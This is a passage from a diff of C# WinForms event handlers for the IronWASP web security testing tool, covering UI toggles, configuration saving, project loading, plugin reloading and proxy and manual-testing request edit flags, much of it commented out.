InjectionPoints.GetLength(0); i++) + { + try + { + ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Add(new object[] { CheckStatus, InjectionPoints[i, 0], Tools.Base64Decode(InjectionPoints[i, 1]) }); + } + catch + { + ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Add(new object[] { CheckStatus, InjectionPoints[i, 0], InjectionPoints[i, 1] }); + } + } + } + + private void ConfigRuleFileExtensionsCB_CheckedChanged(object sender, EventArgs e) + { + bool Status = ConfigRuleFileExtensionsCB.Checked; + ConfigRuleFileExtensionsPlusRB.Enabled = Status; + ConfigRuleFileExtensionsPlusTB.Enabled = Status; + ConfigRuleFileExtensionsMinusRB.Enabled = Status; + ConfigRuleFileExtensionsMinusTB.Enabled = Status; + } + + private void ConfigRuleHostNamesCB_CheckedChanged(object sender, EventArgs e) + { + bool Status = ConfigRuleHostNamesCB.Checked; + ConfigRuleHostNamesPlusRB.Enabled = Status; + ConfigRuleHostNamesPlusTB.Enabled = Status; + ConfigRuleHostNamesMinusRB.Enabled = Status; + ConfigRuleHostNamesMinusTB.Enabled = Status; + } + + private void ConfigRuleKeywordInRequestCB_CheckedChanged(object sender, EventArgs e) + { + bool Status = ConfigRuleKeywordInRequestCB.Checked; + ConfigRuleKeywordInRequestPlusRB.Enabled = Status; + ConfigRuleKeywordInRequestPlusTB.Enabled = Status; + ConfigRuleKeywordInRequestMinusRB.Enabled = Status; + ConfigRuleKeywordInRequestMinusTB.Enabled = Status; + } + + private void ConfigRuleKeywordInResponseCB_CheckedChanged(object sender, EventArgs e) + { + bool Status = ConfigRuleKeywordInResponseCB.Checked; + ConfigRuleKeywordInResponsePlusRB.Enabled = Status; + ConfigRuleKeywordInResponsePlusTB.Enabled = Status; + ConfigRuleKeywordInResponseMinusRB.Enabled = Status; + ConfigRuleKeywordInResponseMinusTB.Enabled = Status; + } + + private void ConfigRuleApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Config.UpdateInterceptionRulesFromUI(); + IronDB.StoreInterceptRules(); + } + + private void ConfigRuleCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + IronUI.UpdateInterceptionRulesInUIFromConfig(); + } + + private void OpenProjectToolStripMenuItem_Click(object sender, EventArgs e) + { + string LogFilesDirectory = ""; + ProjectFileOpenDialog.InitialDirectory = Config.RootDir + "\\log\\"; + while (ProjectFileOpenDialog.ShowDialog() == DialogResult.OK) + { + if (!ProjectFileOpenDialog.SafeFileName.Equals("Project.iron", StringComparison.InvariantCultureIgnoreCase)) + { + MessageBox.Show("Only files named 'Project.iron' are allowed"); + } + else + { + FileInfo Info = new FileInfo(ProjectFileOpenDialog.FileName); + LogFilesDirectory = Info.Directory.FullName; + break; + } + } + if (LogFilesDirectory.Length > 0) + { + CloseCurrentProjectAndPrepareForReload(); + IronDB.UpdateLogFilePaths(LogFilesDirectory); + LoadSelectedTraceBtn.Enabled = false; + IronUI.StartUpdatingFullUIFromDB(); + } + } + + void CloseCurrentProjectAndPrepareForReload() + { + try { IronUI.RGW.Close(); } + catch { } + } + + private void ProxyRequestHeadersIDV_IDVTextChanged() + { + IronProxy.RequestHeaderChanged = true; + IronProxy.RequestChanged = true; + } + + private void ProxyRequestBodyIDV_IDVTextChanged() + { + IronProxy.RequestBodyChanged = true; + IronProxy.RequestChanged = true; + } + + private void ProxyResponseHeadersIDV_IDVTextChanged() + { + IronProxy.ResponseHeaderChanged = true; + IronProxy.ResponseChanged = true; + } + + private void ProxyResponseBodyIDV_IDVTextChanged() + { + IronProxy.ResponseBodyChanged = true; + IronProxy.ResponseChanged = true; + } + + private void ProxyRequestParametersQueryGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + IronProxy.RequestQueryParametersChanged = true; + IronProxy.RequestChanged = true; + } + + private void ProxyRequestParametersBodyGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + IronProxy.RequestBodyParametersChanged = true; + IronProxy.RequestChanged = true; + } + + private void ProxyRequestParametersCookieGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + IronProxy.RequestCookieParametersChanged = true; + IronProxy.RequestChanged = true; + } + + private void ProxyRequestParametersHeadersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + IronProxy.RequestHeaderParametersChanged = true; + IronProxy.RequestChanged = true; + } + + //private void ProxyRequestParametersTabs_Deselecting(object sender, TabControlCancelEventArgs e) + //{ + // if (IronProxy.ManualTamperingFree) return; + // try + // { + // IronUI.ResetProxyException(); + // IronUI.HandleAnyChangesInRequest(); + // } + // catch(Exception Exp) + // { + // IronUI.ShowProxyException(Exp.Message); + // } + //} + + //private void ProxyInterceptRequestTabs_Deselecting(object sender, TabControlCancelEventArgs e) + //{ + // if (IronProxy.ManualTamperingFree) return; + // try + // { + // IronUI.ResetProxyException(); + // IronUI.HandleAnyChangesInRequest(); + // } + // catch(Exception Exp) + // { + // IronUI.ShowProxyException(Exp.Message); + // } + //} + + //private void ProxyInterceptResponseTabs_Deselecting(object sender, TabControlCancelEventArgs e) + //{ + // if (IronProxy.ManualTamperingFree) return; + // try + // { + // IronUI.ResetProxyException(); + // IronUI.HandleAnyChangesInResponse(); + // } + // catch(Exception Exp) + // { + // IronUI.ShowProxyException(Exp.Message); + // } + //} + + private void AboutToolStripMenuItem_Click(object sender, EventArgs e) + { + if (IronUI.AF == null) + { + IronUI.AF = new AboutForm(); + } + else if (IronUI.AF.IsDisposed) + { + IronUI.AF = new AboutForm(); + } + IronUI.AF.Show(); + IronUI.AF.AboutLogoPB.Focus(); + } + + //private void ProxyShowOriginalRequestCB_Click(object sender, EventArgs e) + //{ + // if (IronProxy.CurrentSession != null) + // { + // if (ProxyShowOriginalRequestCB.Checked) + // { + // if (IronProxy.CurrentSession.OriginalRequest != null) + // { + // IronUI.FillProxyFields(IronProxy.CurrentSession.OriginalRequest); + // IronUI.MakeProxyFieldsReadOnly(); + // } + // } + // else + // { + // if (IronProxy.CurrentSession.Request != null) + // { + // IronUI.FillProxyFields(IronProxy.CurrentSession.Request); + // IronUI.MakeProxyFieldsReadOnly(); + // } + // } + // } + //} + + //private void ProxyShowOriginalResponseCB_Click(object sender, EventArgs e) + //{ + // if (IronProxy.CurrentSession != null) + // { + // if (ProxyShowOriginalResponseCB.Checked) + // { + // if (IronProxy.CurrentSession.OriginalResponse != null) + // { + // IronUI.FillProxyFields(IronProxy.CurrentSession.OriginalResponse); + // } + // } + // else + // { + // if (IronProxy.CurrentSession.Response != null) + // { + // IronUI.FillProxyFields(IronProxy.CurrentSession.Response); + // } + // } + // } + // ProxyInterceptTabs.SelectedIndex = 1; + //} + + private void MTRequestHeadersIDV_IDVTextChanged() + { + ManualTesting.RequestHeaderChanged = true; + ManualTesting.RequestChanged = true; + } + + private void MTRequestBodyIDV_IDVTextChanged() + { + ManualTesting.RequestBodyChanged = true; + ManualTesting.RequestChanged = true; + } + + private void MTRequestParametersHeadersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + ManualTesting.RequestHeaderParametersChanged = true; + ManualTesting.RequestChanged = true; + } + + private void MTRequestParametersCookieGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + ManualTesting.RequestCookieParametersChanged = true; + ManualTesting.RequestChanged = true; + } + + private void MTRequestParametersBodyGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + ManualTesting.RequestBodyParametersChanged = true; + ManualTesting.RequestChanged = true; + } + + private void MTRequestParametersQueryGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + ManualTesting.RequestQueryParametersChanged = true; + ManualTesting.RequestChanged = true; + } + + //private void MTRequestTabs_Deselecting(object sender, TabControlCancelEventArgs e) + //{ + // try + // { + // IronUI.ResetMTExceptionFields(); + // IronUI.HandleAnyChangesInMTRequest(); + // } + // catch(Exception Exp) + // { + // IronUI.ShowMTException(Exp.Message); + // } + //} + + //private void MTRequestParametersTabs_Deselecting(object sender, TabControlCancelEventArgs e) + //{ + // try + // { + // IronUI.ResetMTExceptionFields(); + // IronUI.HandleAnyChangesInMTRequest(); + // } + // catch(Exception Exp) + // { + // IronUI.ShowMTException(Exp.Message); + // } + //} + + private void ASRequestRawHeadersIDV_IDVTextChanged() + { + Scanner.RequestHeadersChanged = true; + } + + private void ASRequestRawBodyIDV_IDVTextChanged() + { + Scanner.RequestBodyChanged = true; + } + + private void PluginTree_AfterSelect(object sender, TreeViewEventArgs e) + { + if (e.Node == null) return; + + try + { + if (e.Node.Level == 3) + { + //Plugins + if (e.Node.Parent.Parent.Index == 0) + { + string PluginName = e.Node.Name; + string[] PluginDetails = new string[] { "", "", "", "", "" }; + PluginDetails[0] = e.Node.Name; + Plugin P = new Plugin(); + switch (e.Node.Parent.Index) + { + case 0: + P = ActivePlugin.Get(PluginDetails[0]); + PluginDetails[2] = string.Format("{0}\\plugins\\active\\{1}", Config.RootDir, P.FileName); + break; + case 1: + P = PassivePlugin.Get(PluginDetails[0]); + PluginDetails[2] = string.Format("{0}\\plugins\\passive\\{1}", Config.RootDir, P.FileName); + break; + case 2: + P = FormatPlugin.Get(PluginDetails[0]); + PluginDetails[2] = string.Format("{0}\\plugins\\format\\{1}", Config.RootDir, P.FileName); + break; + case 3: + P = SessionPlugin.Get(PluginDetails[0]); + PluginDetails[2] = string.Format("{0}\\plugins\\session\\{1}", Config.RootDir, P.FileName); + break; + } + PluginDetails[1] = P.Description; + if (P.FileName == "Internal") + { + PluginDetails[3] = "This plugin is implemented inside the core of IronWASP.\r\nTo view the source code of this plugin visit - https://github.com/lavakumar/ironwasp "; + } + else if (P.FileName.Length > 0) + { + if (P.FileName.EndsWith(".py")) + PluginDetails[4] = "Python"; + else if (P.FileName.EndsWith(".rb")) + PluginDetails[4] = "Ruby"; + else + PluginDetails[4] = "-"; + try + { + StreamReader SR = File.OpenText(PluginDetails[2]); + PluginDetails[3] = SR.ReadToEnd(); + SR.Close(); + } + catch (Exception exp) + { + PluginDetails[3] = "Error reading file: " + exp.Message; + } + } + else + { + PluginDetails[3] = "FileName information is missing in the Plugin"; + } + IronUI.DisplayPluginDetails(PluginDetails); + } + //Modules + else if(e.Node.Parent.Parent.Index == 1) + { + string ModuleName = e.Node.Name; + string[] ModuleDetails = new string[] { "", "", "", "", "", "" }; + ModuleDetails[0] = e.Node.Name; + Module M = Module.GetModuleReadFromXml(ModuleDetails[0]); + ModuleDetails[5] = M.DisplayName; + ModuleDetails[1] = M.Description; + ModuleDetails[2] = string.Format("{0}\\modules\\{1}\\{2}", Config.RootDir, M.Name, M.FileName); + if (M.FileName.Length > 0) + { + if (M.FileName.EndsWith(".py")) + ModuleDetails[4] = "Python"; + else if (M.FileName.EndsWith(".rb")) + ModuleDetails[4] = "Ruby"; + else + ModuleDetails[4] = "-"; + try + { + StreamReader SR = File.OpenText(ModuleDetails[2]); + ModuleDetails[3] = SR.ReadToEnd(); + SR.Close(); + } + catch (Exception exp) + { + ModuleDetails[3] = "Error reading file: " + exp.Message; + } + } + else + { + ModuleDetails[3] = "FileName information is missing in the Module"; + } + IronUI.DisplayModuleDetails(ModuleDetails); + } + } + } + catch(Exception Exp) + { + IronException.Report("Error showing Plugin details", Exp.Message, Exp.StackTrace); + } + } + + private void SelectedPluginReloadToolStripMenuItem_Click(object sender, EventArgs e) + { + if (PluginAndModuleTree.SelectedNode == null) return; + TreeNode SelectedNode = PluginAndModuleTree.SelectedNode; + if (SelectedNode.Level == 3 && SelectedNode.Parent.Parent.Index == 0) + { + PluginType Type = PluginType.None; + string FileName = ""; + + switch (SelectedNode.Parent.Index) + { + case 0: + Type = PluginType.Active; + FileName = ActivePlugin.Get(SelectedNode.Name).FileName; + break; + case 1: + Type = PluginType.Passive; + FileName = PassivePlugin.Get(SelectedNode.Name).FileName; + break; + case 2: + Type = PluginType.Format; + FileName = FormatPlugin.Get(SelectedNode.Name).FileName; + break; + case 3: + Type = PluginType.Session; + FileName = SessionPlugin.Get(SelectedNode.Name).FileName; + break; + } + if (Type != PluginType.None && SelectedNode.Name.Length > 0) + { + PluginEngine.ReloadPlugin(Type, SelectedNode.Name, FileName); + } + } + } + + private void PluginTreeMenu_Opening(object sender, CancelEventArgs e) + { + SelectedPluginReloadToolStripMenuItem.Enabled = false; + SelectedModuleReloadToolStripMenuItem.Enabled = false; + SelectedPluginDeactivateToolStripMenuItem.Visible = false; + + if (PluginAndModuleTree.SelectedNode == null) return; + + TreeNode SelectedNode = PluginAndModuleTree.SelectedNode; + if (SelectedNode.Level == 3) + { + //Plugins + if (SelectedNode.Parent.Parent.Index == 0) + { + SelectedPluginReloadToolStripMenuItem.Enabled = true; + //Passive Plugins + if (SelectedNode.Parent.Index == 1) + { + SelectedPluginDeactivateToolStripMenuItem.Visible = true; + if (SelectedNode.ForeColor == Color.Gray) + { + SelectedPluginDeactivateToolStripMenuItem.Text = "Activate Selected Plugin"; + } + else + { + SelectedPluginDeactivateToolStripMenuItem.Text = "Deactivate Selected Plugin"; + } + } + } + //Modules + else if (SelectedNode.Parent.Parent.Index == 1) + { + //Loaded Modules + if (SelectedNode.Parent.Index == 0) + { + SelectedModuleReloadToolStripMenuItem.Enabled = true; + } + + } + } + } + + private void AllPluginsRAToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread T = new Thread(PluginEngine.LoadAllPlugins); + T.Start(); + } + + private void PassivePluginsRAToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread T = new Thread(PluginEngine.LoadAllPassivePlugins); + T.Start(); + } + + private void ActivePluginsRAToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread T = new Thread(PluginEngine.LoadAllActivePlugins); + T.Start(); + } + + private void FormatPluginsRAToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread T = new Thread(PluginEngine.LoadAllFormatPlugins); + T.Start(); + } + + private void SessionPluginsRAToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread T = new Thread(PluginEngine.LoadAllSessionPlugins); + T.Start(); + } + + private void SessionPluginsANToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread T = new Thread(PluginEngine.LoadNewSessionPlugins); + T.Start(); + } + + private void FormatPluginsANToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread T = new Thread(PluginEngine.LoadNewFormatPlugins); + T.Start(); + } + + private void ActivePluginsANToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread T = new Thread(PluginEngine.LoadNewActivePlugins); + T.Start(); + } + + private void PassivePluginsANToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread T = new Thread(PluginEngine.LoadNewPassivePlugins); + T.Start(); + } + + private void AllPluginsANToolStripMenuItem_Click(object sender, EventArgs e) + { + Thread T = new Thread(PluginEngine.LoadAllNewPlugins); + T.Start(); + } + + private void SelectedPluginDeactivateToolStripMenuItem_Click(object sender, EventArgs e) + { + if (PluginAndModuleTree.SelectedNode == null) return; + if (SelectedPluginDeactivateToolStripMenuItem.Text.Equals("Deactivate Selected Plugin")) + { + PassivePlugin.Deactivate(PluginAndModuleTree.SelectedNode.Name); + PluginAndModuleTree.SelectedNode.ForeColor = Color.Gray; + PluginAndModuleTree.SelectedNode.Text = PluginAndModuleTree.SelectedNode.Name + " (Deactivated)"; + } + else + { + PassivePlugin.Activate(PluginAndModuleTree.SelectedNode.Name); + PluginAndModuleTree.SelectedNode.ForeColor = Color.Green; + PluginAndModuleTree.SelectedNode.Text = PluginAndModuleTree.SelectedNode.Name; + } + } + + private void ProxyDropBtn_Click(object sender, EventArgs e) + { + this.TopMost = false; + IronProxy.DropInterceptedMessage(); + ProxyBaseSplit.Panel1.BackColor = Color.White; + ProxySendBtn.Enabled = false; + ProxyDropBtn.Enabled = false; + } + + //private void MTRequestFormatPluginsMenu_Opening(object sender, CancelEventArgs e) + //{ + // this.MTRequestDeSerObjectToXmlMenuItem.Enabled = false; + // this.MTRequestSerXmlToObjectMenuItem.Enabled = false; + // if (this.MTRequestFormatPluginsGrid.SelectedRows.Count == 0) + // { + // return; + // } + // if (this.MTRequestFormatPluginsGrid.SelectedCells[0].Value.ToString().Equals("None")) return; + // this.MTRequestDeSerObjectToXmlMenuItem.Enabled = true; + // if (this.MTRequestFormatXMLTB.Text.Length > 0) + // { + // this.MTRequestSerXmlToObjectMenuItem.Enabled = true; + // } + //} + + //private void MTRequestDeSerObjectToXmlMenuItem_Click(object sender, EventArgs e) + //{ + // MTRequestFormatXMLTB.Text = ""; + // string PluginName = MTRequestFormatPluginsGrid.SelectedCells[0].Value.ToString(); + // if (!FormatPlugin.List().Contains(PluginName)) + // { + // IronUI.ShowMTException("Format Plugin not found"); + // return; + // } + // FormatPlugin Plugin = FormatPlugin.Get(PluginName); + // if (ManualTesting.CurrentRequest == null) + // { + // IronUI.ShowMTException("Invalid Request"); + // return; + // } + // ManualTesting.StartDeSerializingRequestBody(ManualTesting.CurrentRequest, Plugin); + //} + + //private void MTRequestSerXmlToObjectMenuItem_Click(object sender, EventArgs e) + //{ + // if (MTRequestFormatPluginsGrid.SelectedCells == null) return; + // if (MTRequestFormatPluginsGrid.SelectedCells.Count == 0) return; + // string PluginName = MTRequestFormatPluginsGrid.SelectedCells[0].Value.ToString(); + // if (!FormatPlugin.List().Contains(PluginName)) + // { + // IronUI.ShowMTException("Format Plugin not found"); + // return; + // } + // FormatPlugin Plugin = FormatPlugin.Get(PluginName); + // if (ManualTesting.CurrentRequest == null) + // { + // IronUI.ShowMTException("Invalid Request"); + // return; + // } + // string XML = MTRequestFormatXMLTB.Text; + // ManualTesting.StartSerializingRequestBody(ManualTesting.CurrentRequest, Plugin, XML); + //} + + //private void ProxyRequestFormatPluginsMenu_Opening(object sender, CancelEventArgs e) + //{ + // this.ProxyRequestDeSerObjectToXmlMenuItem.Enabled = false; + // this.ProxyRequestSerXmlToObjectMenuItem.Enabled = false; + // if (this.ProxyRequestFormatPluginsGrid.SelectedRows.Count == 0) + // { + // return; + // } + + // if (this.ProxyRequestFormatPluginsGrid.SelectedCells[0].Value.ToString().Equals("None")) return; + // this.ProxyRequestDeSerObjectToXmlMenuItem.Enabled = true; + // if (this.ProxyRequestFormatXMLTB.Text.Length > 0) + // { + // this.ProxyRequestSerXmlToObjectMenuItem.Enabled = true; + // } + //} + + //private void ProxyResponseFormatPluginsMenu_Opening(object sender, CancelEventArgs e) + //{ + // this.ProxyResponseDeSerObjectToXmlMenuItem.Enabled = false; + // this.ProxyResponseSerXmlToObjectMenuItem.Enabled = false; + // if (this.ProxyResponseFormatPluginsGrid.SelectedRows.Count == 0) return; + // if (this.ProxyResponseFormatPluginsGrid.SelectedCells[0].Value.ToString().Equals("None")) return; + // this.ProxyResponseDeSerObjectToXmlMenuItem.Enabled = true; + // if (this.ProxyResponseFormatXMLTB.Text.Length > 0) + // { + // this.ProxyResponseSerXmlToObjectMenuItem.Enabled = true; + // } + //} + + //private void ProxyRequestDeSerObjectToXmlMenuItem_Click(object sender, EventArgs e) + //{ + // ProxyRequestFormatXMLTB.Text = ""; + // if (ProxyRequestFormatPluginsGrid.SelectedCells == null) return; + // if (ProxyRequestFormatPluginsGrid.SelectedCells.Count == 0) return; + // string PluginName = ProxyRequestFormatPluginsGrid.SelectedCells[0].Value.ToString(); + // if (!FormatPlugin.List().Contains(PluginName)) + // { + // IronUI.ShowProxyException("Format Plugin not found"); + // return; + // } + // FormatPlugin Plugin = FormatPlugin.Get(PluginName); + // if (IronProxy.CurrentSession == null) + // { + // IronUI.ShowProxyException("Invalid Request"); + // return; + // } + // if (IronProxy.CurrentSession.Request == null) + // { + // IronUI.ShowProxyException("Invalid Request"); + // return; + // } + // IronProxy.StartDeSerializingRequestBody(IronProxy.CurrentSession.Request, Plugin); + //} + + //private void ProxyRequestSerXmlToObjectMenuItem_Click(object sender, EventArgs e) + //{ + // if (ProxyRequestFormatPluginsGrid.SelectedCells == null) return; + // if (ProxyRequestFormatPluginsGrid.SelectedCells.Count == 0) return; + // string PluginName = ProxyRequestFormatPluginsGrid.SelectedCells[0].Value.ToString(); + // if (!FormatPlugin.List().Contains(PluginName)) + // { + // IronUI.ShowProxyException("Format Plugin not found"); + // return; + // } + // FormatPlugin Plugin = FormatPlugin.Get(PluginName); + // if (IronProxy.CurrentSession == null) + // { + // IronUI.ShowProxyException("Invalid Request"); + // return; + // } + // if (IronProxy.CurrentSession.Request == null) + // { + // IronUI.ShowProxyException("Invalid Request"); + // return; + // } + // string XML = ProxyRequestFormatXMLTB.Text; + // IronProxy.StartSerializingRequestBody(IronProxy.CurrentSession.Request, Plugin, XML); + //} + + //private void ProxyResponseDeSerObjectToXmlMenuItem_Click(object sender, EventArgs e) + //{ + // ProxyResponseFormatXMLTB.Text = ""; + // if (ProxyResponseFormatPluginsGrid.SelectedCells == null) return; + // if (ProxyResponseFormatPluginsGrid.SelectedCells.Count == 0) return; + // string PluginName = ProxyResponseFormatPluginsGrid.SelectedCells[0].Value.ToString(); + // if (!FormatPlugin.List().Contains(PluginName)) + // { + // IronUI.ShowProxyException("Format Plugin not found"); + // return; + // } + // FormatPlugin Plugin = FormatPlugin.Get(PluginName); + // if (IronProxy.CurrentSession == null) + // { + // IronUI.ShowProxyException("Invalid Response"); + // return; + // } + // if (IronProxy.CurrentSession.Response == null) + // { + // IronUI.ShowProxyException("Invalid Response"); + // return; + // } + // IronProxy.StartDeSerializingResponseBody(IronProxy.CurrentSession.Response, Plugin); + //} + + //private void ProxyResponseSerXmlToObjectMenuItem_Click(object sender, EventArgs e) + //{ + // if (ProxyResponseFormatPluginsGrid.SelectedCells == null) return; + // if (ProxyResponseFormatPluginsGrid.SelectedCells.Count == 0) return; + // string PluginName = ProxyResponseFormatPluginsGrid.SelectedCells[0].Value.ToString(); + // if (!FormatPlugin.List().Contains(PluginName)) + // { + // IronUI.ShowProxyException("Format Plugin not found"); + // return; + // } + // FormatPlugin Plugin = FormatPlugin.Get(PluginName); + // if (IronProxy.CurrentSession == null) + // { + // IronUI.ShowProxyException("Invalid Response"); + // return; + // } + // if (IronProxy.CurrentSession.Response == null) + // { + // IronUI.ShowProxyException("Invalid Response"); + // return; + // } + // string XML = ProxyResponseFormatXMLTB.Text; + // IronProxy.StartSerializingResponseBody(IronProxy.CurrentSession.Response, Plugin, XML); + //} + + //private void ConfigureScanRequestFormatPluginsMenu_Opening(object sender, CancelEventArgs e) + //{ + // this.ConfigureScanRequestDeSerObjectToXmlMenuItem.Enabled = false; + // if (this.ConfigureScanRequestFormatPluginsGrid.SelectedRows.Count == 0) + // { + // return; + // } + // if (Scanner.CurrentScanner == null) return; + // if (Scanner.CurrentScanner.OriginalRequest == null) return; + // if (this.ConfigureScanRequestFormatPluginsGrid.SelectedCells[0].Value.ToString().Equals("None")) return; + // if (Scanner.CurrentScanner.OriginalRequest.HasBody) + // { + // this.ConfigureScanRequestDeSerObjectToXmlMenuItem.Enabled = true; + // } + //} + + //private void ConfigureScanRequestDeSerObjectToXmlMenuItem_Click(object sender, EventArgs e) + //{ + // ConfigureScanRequestFormatXMLTB.Text = ""; + // if (ConfigureScanRequestFormatPluginsGrid.SelectedCells == null) return; + // if (ConfigureScanRequestFormatPluginsGrid.SelectedCells.Count == 0) return; + // string PluginName = ConfigureScanRequestFormatPluginsGrid.SelectedCells[0].Value.ToString(); + // if (PluginName.Equals("None")) + // { + // IronUI.UpdateScanBodyTabWithDataInDefaultFormat(); + // ConfigureScanRequestFormatXMLTB.Text = ""; + // Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); + // return; + // } + // if (!FormatPlugin.List().Contains(PluginName)) + // { + // IronUI.ShowConfigureScanException("Format Plugin not found"); + // return; + // } + // FormatPlugin Plugin = FormatPlugin.Get(PluginName); + // if (Scanner.CurrentScanner == null) + // { + // IronUI.ShowConfigureScanException("Invalid Request"); + // return; + // } + // if (Scanner.CurrentScanner.OriginalRequest == null) + // { + // IronUI.ShowConfigureScanException("Invalid Request"); + // return; + // } + // Scanner.CurrentScanner.BodyFormat = Plugin; + // Scanner.StartDeSerializingRequestBody(Scanner.CurrentScanner.OriginalRequest, Plugin, new List(), false); + //} + + private void ScriptingShellTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (e.TabPageIndex == 1) + { + MultiLineShellExecuteBtn.Visible = true; + ClearShellDisplayBtn.Visible = false; + } + else + { + MultiLineShellExecuteBtn.Visible = false; + ClearShellDisplayBtn.Visible = true; + } + } + + private void MultiLineShellExecuteBtn_Click(object sender, EventArgs e) + { + IronUI.FreezeInteractiveShellUI(); + IronScripting.QueueMultiLineShellInputForExecution(MultiLineShellInTE.Text); + ScriptingShellTabs.SelectedIndex = 0; + } + + private void ConfigScriptPathApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + string[] PyPaths = ConfigScriptPyPathsTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + lock (IronScripting.PyPaths) + { + IronScripting.PyPaths.Clear(); + IronScripting.PyPaths.AddRange(PyPaths); + } + string[] RbPaths = ConfigScriptRbPathsTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + lock (IronScripting.RbPaths) + { + IronScripting.RbPaths.Clear(); + IronScripting.RbPaths.AddRange(RbPaths); + } + IronDB.StoreScriptPathsConfig(); + } + + private void ConfigScriptPathCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + IronUI.UpdatePyPathsFromConfig(); + IronUI.UpdateRbPathsFromConfig(); + } + + private void ConfigScriptCommandApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + string[] PyCommands = ConfigScriptPyCommandsTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + lock (IronScripting.PyCommands) + { + IronScripting.PyCommands.Clear(); + IronScripting.PyCommands.AddRange(PyCommands); + } + string[] RbCommands = ConfigScriptRbCommandsTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + lock (IronScripting.RbCommands) + { + IronScripting.RbCommands.Clear(); + IronScripting.RbCommands.AddRange(RbCommands); + } + IronDB.StoreScriptCommandsConfig(); + } + + private void ConfigScriptCommandCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + IronUI.UpdatePyCommandsFromConfig(); + IronUI.UpdateRbCommandsFromConfig(); + } + + private void ConfigRequestTypesApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + string[] Types = ConfigRequestTypesTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + lock (Request.TextContentTypes) + { + Request.TextContentTypes.Clear(); + Request.TextContentTypes.AddRange(Types); + } + IronDB.StoreRequestTextContentTypesConfig(); + } + + private void ConfigRequestTypesCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + IronUI.UpdateRequestTextTypesFromConfig(); + } + + private void ConfigResponseTypesApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + string[] Types = ConfigResponseTypesTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + lock (Response.TextContentTypes) + { + Response.TextContentTypes.Clear(); + Response.TextContentTypes.AddRange(Types); + } + IronDB.StoreResponseTextContentTypesConfig(); + } + + private void ConfigResponseTypesCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + IronUI.UpdateResponseTextTypesFromConfig(); + } + + private void ConfigDisplayRuleApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Config.UpdateProxyLogDisplayFilterFromUI(); + IronDB.StoreDisplayRules(); + } + + private void ConfigDisplayRuleCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + IronUI.UpdateLogDisplayFilterInUIFromConfig(); + } + + private void ConfigDisplayRuleFileExtensionsCB_CheckedChanged(object sender, EventArgs e) + { + bool Status = ConfigDisplayRuleFileExtensionsCB.Checked; + ConfigDisplayRuleFileExtensionsPlusRB.Enabled = Status; + ConfigDisplayRuleFileExtensionsPlusTB.Enabled = Status; + ConfigDisplayRuleFileExtensionsMinusRB.Enabled = Status; + ConfigDisplayRuleFileExtensionsMinusTB.Enabled = Status; + } + + private void ConfigDisplayRuleHostNamesCB_CheckedChanged(object sender, EventArgs e) + { + bool Status = ConfigDisplayRuleHostNamesCB.Checked; + ConfigDisplayRuleHostNamesPlusRB.Enabled = Status; + ConfigDisplayRuleHostNamesPlusTB.Enabled = Status; + ConfigDisplayRuleHostNamesMinusRB.Enabled = Status; + ConfigDisplayRuleHostNamesMinusTB.Enabled = Status; + } + + private void SiteMapLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedSitemapLog(); + } + + void ShowSelectedSitemapLog() + { + if (SiteMapLogGrid.SelectedCells.Count < 1 || SiteMapLogGrid.SelectedCells[0].Value == null || SiteMapLogGrid.SelectedRows.Count == 0) + { + return; + } + if (SiteMapLogGrid.SelectedCells[1].Value.ToString().Equals("Proxy")) + { + IronLog.ShowLog(RequestSource.Proxy, SiteMapLogGrid.SelectedCells[0].Value.ToString(), SiteMapLogGrid.SelectedRows[0].Index, true); + } + else if (SiteMapLogGrid.SelectedCells[1].Value.ToString().Equals("Test")) + { + IronLog.ShowLog(RequestSource.Test, SiteMapLogGrid.SelectedCells[0].Value.ToString(), SiteMapLogGrid.SelectedRows[0].Index, true); + } + else if (SiteMapLogGrid.SelectedCells[1].Value.ToString().Equals("Shell")) + { + IronLog.ShowLog(RequestSource.Shell, SiteMapLogGrid.SelectedCells[0].Value.ToString(), SiteMapLogGrid.SelectedRows[0].Index, true); + } + else if (SiteMapLogGrid.SelectedCells[1].Value.ToString().Equals("Probe")) + { + 